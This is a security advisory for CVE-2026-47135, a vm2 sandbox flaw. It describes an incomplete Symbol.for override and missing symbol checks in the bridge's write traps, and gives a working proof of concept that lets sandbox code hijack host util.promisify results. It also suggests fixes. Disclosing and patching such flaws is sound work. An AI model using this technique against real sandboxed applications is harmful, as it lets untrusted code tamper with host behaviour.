CVE-2026-47135

## Summary vm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain. ## Root Cause **1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`): ```js Symbol.for = function (key) { const keyStr = '' + key; if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect; if (keyStr === 'nodejs.rejection') return blockedSymbolRejection; return originalSymbolFor(keyStr); // everything else passes through }; ``` Only `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**: - `nodejs.util.promisify.custom` - `nodejs.stream.readable` - `nodejs.stream.writable` - `nodejs.stream.duplex` - `nodejs.stream.transform` - `nodejs.webstream.isClosedPromise` - `nodejs.webstream.controllerErrorFunction` Note: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source. **2. Missing symbol check in bridge write traps** (`bridge.js`): The `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object. **3. Incomplete filters in setup-sandbox.js**: `isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols. ## Verified Exploitation: util.promisify Hijack ```js const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function readFile(path, cb) { cb(null, 'real data'); }; vm.setGlobal('hostFn', hostFn); // Sandbox writes promisify.custom to host function vm.run(` const kPromisify = Symbol.for('nodejs.util.promisify.custom'); hostFn[kPromisify] = function(path) { return Promise.resolve('HIJACKED by sandbox'); }; `); // Host-side: promisified function now returns sandbox-controlled value const asyncRead = util.promisify(hostFn); asyncRead('/etc/passwd').then(console.log); // Output: "HIJACKED by sandbox" ``` **Additional verified attacks:** - Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity - `Object.assign` propagates unblocked symbols from sandbox source to host target - `Object.defineProperty` with unblocked symbol key succeeds on host objects - `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties ## Impact - **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox. - **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values. - **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation. This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties. ## Affected Versions - vm2 <= 3.11.2 (all 3.x versions) ## Environment - Node.js v24.14.0 - macOS (Darwin 25.4.0) ## Suggested Fix 1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols: ```js Symbol.for = function (key) { const keyStr = '' + key; if (keyStr.startsWith('nodejs.')) return Symbol(keyStr); return originalSymbolFor(keyStr); }; ``` 2. **`bridge.js`**: Add check to write traps: ```js set(target, key, value, receiver) { if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); // ... } ``` 3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.